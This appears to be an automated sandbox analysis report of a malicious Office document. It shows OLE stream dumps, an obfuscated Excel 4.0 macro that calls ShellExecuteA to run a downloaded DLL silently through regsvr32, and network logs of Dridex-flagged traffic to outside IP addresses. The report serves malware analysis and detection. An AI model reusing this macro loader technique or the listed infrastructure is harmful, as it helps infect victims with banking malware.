Data ASCII:	. . . . . . . . . . . . . n ` . . . . . . . . ` . . . . . . M i c r o s o f t F o r m s 2 . 0 F r a m e . . . . . E m b e d d e d O b j e c t . . . . . F o r m s . F r a m e . 1 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 20 18 6e 60 f4 ce 11 9b cd 00 aa 00 60 8e 01 1a 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 72 61 6d 65 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 0e 00 00 00 46 6f 72 6d 73 2e 46 72 61 6d 65 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: f, File Type: data, Stream Size: 88

General
Stream Path:	f
File Type:	data
Stream Size:	88
Entropy:	3.36756968706
Base64 Encoded:	False
Data ASCII:	. . ( . . . . . . . . . . . . . . . . . . } . . . . . . . . . . . . . . . . . . 1 . . . . R . . . . . . . . . . . K . Q . . . . . . . . . . . C a l i b r i . . . . . . . . . .
Data Raw:	00 04 28 00 00 0c 1a 08 03 00 00 00 01 00 00 80 ff ff 00 00 00 7d 00 00 84 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 31 00 00 00 03 52 e3 0b 91 8f ce 11 9d e3 00 aa 00 4b b8 51 01 00 00 00 90 01 ac b6 01 00 07 43 61 6c 69 62 72 69 00 00 00 00 00 00 00 00 00 00

Stream Path: o, File Type: empty, Stream Size: 0

General
Stream Path:	o
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Macro 4.0 Code

CALL(wegb&o0, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, v0&"p"&w00&"n", "r"&w00&"gsvr"&o0, " -s "&bb&ab, 0, 0)

"=CALL(wegb&o0,""S""&ohgdfww&""A"",i0&i0&""CCCC""&i0,0,v0&""p""&w00&""n"",""r""&w00&""gsvr""&o0,"" -s ""&bb&ab,0,0)",zdkvrlsh.dll,,,,,,,,,,,,,,,,,,,,,,,,,,=RETURN(),

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/20/21-16:14:23.457039	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49171	194.225.58.214	192.168.2.22
01/20/21-16:14:26.228542	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49170	194.225.58.214	192.168.2.22
01/20/21-16:14:26.724710	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49173	211.110.44.63	192.168.2.22
01/20/21-16:14:28.282261	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49174	211.110.44.63	192.168.2.22
01/20/21-16:14:30.182666	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49177	198.57.200.100	192.168.2.22
01/20/21-16:14:30.182666	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49177	198.57.200.100	192.168.2.22
01/20/21-16:14:31.550004	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49179	194.225.58.214	192.168.2.22
01/20/21-16:14:31.731283	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49180	198.57.200.100	192.168.2.22
01/20/21-16:14:31.731283	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49180	198.57.200.100	192.168.2.22
01/20/21-16:14:34.093419	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49182	211.110.44.63	192.168.2.22
01/20/21-16:14:34.591667	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49183	194.225.58.214	192.168.2.22
01/20/21-16:14:37.979532	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49184	211.110.44.63	192.168.2.22
01/20/21-16:14:39.169614	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49186	194.225.58.214	192.168.2.22
01/20/21-16:14:39.331030	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49187	194.225.58.214	192.168.2.22
01/20/21-16:14:40.124535	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49188	198.57.200.100	192.168.2.22
01/20/21-16:14:40.124535	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49188	198.57.200.100	192.168.2.22
01/20/21-16:14:41.648935	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49190	198.57.200.100	192.168.2.22
01/20/21-16:14:41.648935	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49190	198.57.200.100	192.168.2.22
01/20/21-16:14:43.089104	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49191	194.225.58.214	192.168.2.22
01/20/21-16:14:43.135685	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49192	194.225.58.214	192.168.2.22
01/20/21-16:14:44.623232	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49193	211.110.44.63	192.168.2.22
01/20/21-16:14:46.221546	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49194	211.110.44.63	192.168.2.22
01/20/21-16:14:48.244805	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49196	211.110.44.63	192.168.2.22
01/20/21-16:14:48.695032	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49197	198.57.200.100	192.168.2.22
01/20/21-16:14:48.695032	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49197	198.57.200.100	192.168.2.22
01/20/21-16:14:50.108299	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49199	194.225.58.214	192.168.2.22
01/20/21-16:14:51.591157	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49200	211.110.44.63	192.168.2.22
01/20/21-16:14:52.370780	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49202	198.57.200.100	192.168.2.22
01/20/21-16:14:52.370780	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49202	198.57.200.100	192.168.2.22
01/20/21-16:14:53.285784	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49203	211.110.44.63	192.168.2.22
01/20/21-16:14:53.840102	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49204	194.225.58.214	192.168.2.22
01/20/21-16:14:55.660527	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49207	211.110.44.63	192.168.2.22
01/20/21-16:14:55.704819	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49208	198.57.200.100	192.168.2.22
01/20/21-16:14:55.704819	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49208	198.57.200.100	192.168.2.22
01/20/21-16:14:58.035561	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49209	194.225.58.214	192.168.2.22
01/20/21-16:14:58.469703	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49206	198.57.200.100	192.168.2.22
01/20/21-16:14:58.469703	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49206	198.57.200.100	192.168.2.22
01/20/21-16:14:59.441899	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49210	211.110.44.63	192.168.2.22
01/20/21-16:15:00.493616	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49212	194.225.58.214	192.168.2.22
01/20/21-16:15:01.014419	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49213	198.57.200.100	192.168.2.22
01/20/21-16:15:01.014419	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49213	198.57.200.100	192.168.2.22
01/20/21-16:15:01.890392	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49215	211.110.44.63	192.168.2.22
01/20/21-16:15:02.345410	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49216	194.225.58.214	192.168.2.22
01/20/21-16:15:02.713631	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49218	198.57.200.100	192.168.2.22
01/20/21-16:15:02.713631	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49218	198.57.200.100	192.168.2.22
01/20/21-16:15:03.726148	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49219	211.110.44.63	192.168.2.22
01/20/21-16:15:03.807705	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49220	198.57.200.100	192.168.2.22
01/20/21-16:15:03.807705	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49220	198.57.200.100	192.168.2.22
01/20/21-16:15:04.048556	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49222	194.225.58.214	192.168.2.22
01/20/21-16:15:05.136898	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49225	194.225.58.214	192.168.2.22
01/20/21-16:15:05.208000	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49223	198.57.200.100	192.168.2.22
01/20/21-16:15:05.208000	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49223	198.57.200.100	192.168.2.22
01/20/21-16:15:05.411890	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49224	211.110.44.63	192.168.2.22
01/20/21-16:15:06.506089	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49227	211.110.44.63	192.168.2.22
01/20/21-16:15:06.546210	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49228	194.225.58.214	192.168.2.22
01/20/21-16:15:07.035975	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49229	198.57.200.100	192.168.2.22
01/20/21-16:15:07.035975	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49229	198.57.200.100	192.168.2.22
01/20/21-16:15:07.924734	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49231	211.110.44.63	192.168.2.22
01/20/21-16:15:08.364631	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49232	194.225.58.214	192.168.2.22
01/20/21-16:15:08.721209	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49234	198.57.200.100	192.168.2.22
01/20/21-16:15:08.721209	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49234	198.57.200.100	192.168.2.22
01/20/21-16:15:09.754298	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49235	211.110.44.63	192.168.2.22
01/20/21-16:15:09.835498	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49236	198.57.200.100	192.168.2.22
01/20/21-16:15:09.835498	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49236	198.57.200.100	192.168.2.22
01/20/21-16:15:10.071746	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49238	194.225.58.214	192.168.2.22
01/20/21-16:15:11.177829	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49241	194.225.58.214	192.168.2.22
01/20/21-16:15:11.234838	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49239	198.57.200.100	192.168.2.22
01/20/21-16:15:11.234838	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49239	198.57.200.100	192.168.2.22
01/20/21-16:15:11.449779	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49240	211.110.44.63	192.168.2.22
01/20/21-16:15:12.563508	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49243	211.110.44.63	192.168.2.22
01/20/21-16:15:12.580828	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49244	194.225.58.214	192.168.2.22
01/20/21-16:15:13.077678	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49245	198.57.200.100	192.168.2.22
01/20/21-16:15:13.077678	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49245	198.57.200.100	192.168.2.22
01/20/21-16:15:13.287824	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49246	194.225.58.214	192.168.2.22
01/20/21-16:15:13.966141	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49248	211.110.44.63	192.168.2.22
01/20/21-16:15:14.437696	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49249	194.225.58.214	192.168.2.22
01/20/21-16:15:14.774062	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49251	198.57.200.100	192.168.2.22
01/20/21-16:15:14.774062	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49251	198.57.200.100	192.168.2.22
01/20/21-16:15:15.421195	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49252	211.110.44.63	192.168.2.22
01/20/21-16:15:15.846537	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49253	211.110.44.63	192.168.2.22
01/20/21-16:15:15.886850	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49254	198.57.200.100	192.168.2.22
01/20/21-16:15:15.886850	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49254	198.57.200.100	192.168.2.22
01/20/21-16:15:16.121128	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49256	194.225.58.214	192.168.2.22
01/20/21-16:15:16.988439	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49257	194.225.58.214	192.168.2.22
01/20/21-16:15:17.216505	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49260	194.225.58.214	192.168.2.22
01/20/21-16:15:17.288403	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49258	198.57.200.100	192.168.2.22
01/20/21-16:15:17.288403	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49258	198.57.200.100	192.168.2.22
01/20/21-16:15:17.497066	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49259	211.110.44.63	192.168.2.22
01/20/21-16:15:18.619197	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49264	194.225.58.214	192.168.2.22
01/20/21-16:15:18.697856	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49263	211.110.44.63	192.168.2.22
01/20/21-16:15:18.899015	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49265	198.57.200.100	192.168.2.22
01/20/21-16:15:18.899015	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49265	198.57.200.100	192.168.2.22
01/20/21-16:15:19.175457	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49267	198.57.200.100	192.168.2.22
01/20/21-16:15:19.175457	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49267	198.57.200.100	192.168.2.22
01/20/21-16:15:19.189338	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49266	211.110.44.63	192.168.2.22
01/20/21-16:15:19.998560	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49269	211.110.44.63	192.168.2.22
01/20/21-16:15:20.243889	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49270	194.225.58.214	192.168.2.22
01/20/21-16:15:20.521086	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49271	194.225.58.214	192.168.2.22
01/20/21-16:15:20.811847	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49273	198.57.200.100	192.168.2.22
01/20/21-16:15:20.811847	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49273	198.57.200.100	192.168.2.22
01/20/21-16:15:21.615675	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49275	211.110.44.63	192.168.2.22
01/20/21-16:15:21.901953	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49276	211.110.44.63	192.168.2.22
01/20/21-16:15:22.031024	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49278	198.57.200.100	192.168.2.22
01/20/21-16:15:22.031024	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49278	198.57.200.100	192.168.2.22
01/20/21-16:15:22.161134	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49279	194.225.58.214	192.168.2.22
01/20/21-16:15:22.649079	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49280	198.57.200.100	192.168.2.22
01/20/21-16:15:22.649079	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49280	198.57.200.100	192.168.2.22
01/20/21-16:15:23.310390	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49281	198.57.200.100	192.168.2.22
01/20/21-16:15:23.310390	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49281	198.57.200.100	192.168.2.22
01/20/21-16:15:23.363164	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49283	194.225.58.214	192.168.2.22
01/20/21-16:15:23.554688	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49282	211.110.44.63	192.168.2.22
01/20/21-16:15:24.661546	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49288	194.225.58.214	192.168.2.22
01/20/21-16:15:24.731142	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49287	211.110.44.63	192.168.2.22
01/20/21-16:15:24.995269	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49289	198.57.200.100	192.168.2.22
01/20/21-16:15:24.995269	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49289	198.57.200.100	192.168.2.22
01/20/21-16:15:25.219839	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49290	198.57.200.100	192.168.2.22
01/20/21-16:15:25.219839	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49290	198.57.200.100	192.168.2.22
01/20/21-16:15:26.040767	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49292	211.110.44.63	192.168.2.22
01/20/21-16:15:26.340132	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49293	194.225.58.214	192.168.2.22
01/20/21-16:15:26.577427	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49294	194.225.58.214	192.168.2.22
01/20/21-16:15:26.866345	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49296	198.57.200.100	192.168.2.22
01/20/21-16:15:26.866345	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49296	198.57.200.100	192.168.2.22
01/20/21-16:15:26.991143	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49286	194.225.58.214	192.168.2.22
01/20/21-16:15:27.748577	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49297	211.110.44.63	192.168.2.22
01/20/21-16:15:27.961734	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49298	211.110.44.63	192.168.2.22
01/20/21-16:15:28.030053	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49299	198.57.200.100	192.168.2.22
01/20/21-16:15:28.030053	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49299	198.57.200.100	192.168.2.22
01/20/21-16:15:28.241166	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49302	194.225.58.214	192.168.2.22
01/20/21-16:15:28.428231	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49301	211.110.44.63	192.168.2.22
01/20/21-16:15:29.621223	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49303	198.57.200.100	192.168.2.22
01/20/21-16:15:29.621223	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49303	198.57.200.100	192.168.2.22
01/20/21-16:15:29.707779	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49304	211.110.44.63	192.168.2.22
01/20/21-16:15:29.940860	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49305	194.225.58.214	192.168.2.22
01/20/21-16:15:30.660328	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	443	49309	194.225.58.214	192.168.2.22
01/20/21-16:15:31.637966	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49310	211.110.44.63	192.168.2.22
01/20/21-16:15:31.983140	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49313	198.57.200.100	192.168.2.22
01/20/21-16:15:31.983140	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49313	198.57.200.100	192.168.2.22
01/20/21-16:15:32.001463	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49314	198.57.200.100	192.168.2.22
01/20/21-16:15:32.001463	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49314	198.57.200.100	192.168.2.22
01/20/21-16:15:32.040879	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	5353	49311	211.110.44.63	192.168.2.22
01/20/21-16:15:32.077993	TCP	2023476	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49315	198.57.200.100	192.168.2.22
01/20/21-16:15:32.077993	TCP	2022535	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex)	3786	49315	198.57.200.100	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 20, 2021 16:13:16.189310074 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.346859932 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.346925020 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.347480059 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.504955053 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.509875059 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.509907961 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.509926081 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.509943008 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.509980917 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.510015965 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.510040998 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.510061979 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.510082006 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.510194063 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.510210991 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.510323048 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.510387897 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.515320063 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667687893 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667726994 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667747974 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667752028 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667768955 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667778969 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667789936 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667799950 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667817116 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667819977 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667839050 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667840004 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667855978 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667865992 CET	80	49165	192.185.147.185	192.168.2.22
